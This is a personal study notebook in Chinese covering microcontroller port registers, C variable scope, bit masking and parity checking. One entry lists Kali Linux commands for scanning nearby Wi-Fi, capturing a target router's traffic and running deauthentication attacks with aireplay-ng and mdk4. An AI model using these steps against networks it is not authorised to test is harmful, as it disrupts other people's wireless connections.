1.P3M0和P3M1
(1)功能:定义P3口的模式
2019.08.05
kali下测试网络安全
ifconfig // 查看网卡,一般为wlan0
airmon-ng start wlan0 //启动wlan0网卡
airodump-ng wlan0mon //扫描周围wifi的信息
airodump-ng --bssid xx:xx:xx:xx:xx(路由器mac地址) -w xxx(起一个cap文件名) -c xx(路由频道)wlan0mon // 获取制定路由的连接信息
aireply-ng -0(deauth攻击模式)x(攻击次数) -a xx:xx:xx:xx:xx(路由器mac地址) -c xx:xx:xx:xx:xx(客户端mac地址) //断线攻击
mdk4 wlan0mon d -B xx:xx:xx:xx:xx(路由器mac地址) -S xx:xx:xx:xx:xx(客户端mac地址) mdk4deauth攻击,可适用于5g路由。
http://www.51hei.com/bbs/dpj-118362-1.html
那么如何编程呢?有人说先画流程图,然后再写程序、调试。我想,这是数学比我好的人说的,我的方法如下:
1、用文字描述自己需要的功能
2、拆分出各个功能,用文字描述每个功能是如何实现的
3、完成各个功能的程序,并做好测试,对于我来说,如果了解单片机的工作方式,那么编写程序其实就是把汉语翻译成汇编语言。
4、修改每个功能模块的程序,尽量让程序简短,并且预留好和其他功能衔接的功能(接口、变量等)
5、合并简单功能模块,复杂功能逐一合并,每次合并做好程序备份,以便纠错
6、如果上述工作做的足够好,那么可以直接得到想要的结果,我的程序往往都是写完了就可以用,这是建立在部分模块程序的完美基础之上的。
2019.08.09
http://blog.chinaaet.com/beihang873/p/35922
http://blog.sina.com.cn/s/blog_6202cb4101011udd.html
2019.08.10
在程序中,局部变量和全局变量的名称可以相同,但是在函数内,如果两个名字相同,会使用局部变量值,全局变量不会被使用。
static 修饰全局变量的时候,这个全局变量只能在本文件中访问,不能在其它文件中访问,即便是 extern 外部声明也不可以。
考虑到数据安全性(当程序想要使用全局变量的时候应该先考虑使用 static)
2019.08.22
P1SEL &= ~0x01; //设置p1.0端口为普通IO口 ,0为IO口 1为外设。
等价于P1SEL = P1SEL & ~0000 0001;等价于P1SEL = P1SEL & 1111 1110;
我们先假设 P1SEL = 1111 1111那么P1SEL = 1111 1111 & 1111 1110;P1SEL = 1111 1110
我们再假设 P1SEL = 0000 0000那么P1SEL = 0000 0000 & 1111 1110;P1SEL = 0000 0000
综上所述:我们发现 无论P1SEL等于任何值 P1SEL &= ~0x01 的作用,就是将最低位 P1_0 置0,其他位不变 。
工作方式
为了能检测和纠正内存软错误,首先出现的是内存“奇偶校验”。内存中最小的单位是比特,也称为“位”,位只有两种状态分别以1和0来标示,每8个连续的比特叫做一个字节(byte)。不带奇偶校验的内存每个字节只有8位,如果其某一位存储了错误的值,就会导致其存储的相应数据发生变化,进而导致应用程序发生错误。而奇偶校验就是在每一字节(8位)之外又增加了一位作为错误检测位。在某字节中存储数据之后,在其8个位上存储的数据是固定的,因为位只能有两种状态1或0,假设存储的数据用位标示为1、1、1、0、0、1、0、1,那么把每个位相加(1+1+1+0+0+1+0+1=5),结果是奇数。对于偶校验,校验位就定义为1;对于奇校验,则相反。当CPU读取存储的数据时,它会再次把前8位中存储的数据相加,计算结果是否与校验位相一致。从而一定程度上能检测出内存错误,奇偶校验只能检测出错误而无法对其进行修正,同时虽然双位同时发生错误的概率相当低,但奇偶校验却无法检测出双位错误。
优缺点
奇偶校验有两种类型:奇校验和偶校验。奇偶校验位是一个表示给定位数的二进制数中1的个数是奇数或者偶数的二进制数,奇偶校验位是最简单的错误检测码。如果传输过程中包括校验位在内的奇数个数据位发生改变,那么奇偶校验位将出错表示传输过程有错误发生。因此,奇偶校验位是一种错误检测码,但是由于没有办法确定哪一位出错,所以它不能进行错误校正。发生错误时必须扔掉全部的数据,然后从头开始传输数据。在噪声很多的媒介上成功传输数据可能要花费很长的时间,甚至根本无法实现。但是奇偶校验位也有它的优点,它是使用一位数据能够达到的最好的校验码,并且它仅仅需要一些异或门就能够生成。奇偶校验被广泛应用。 [1]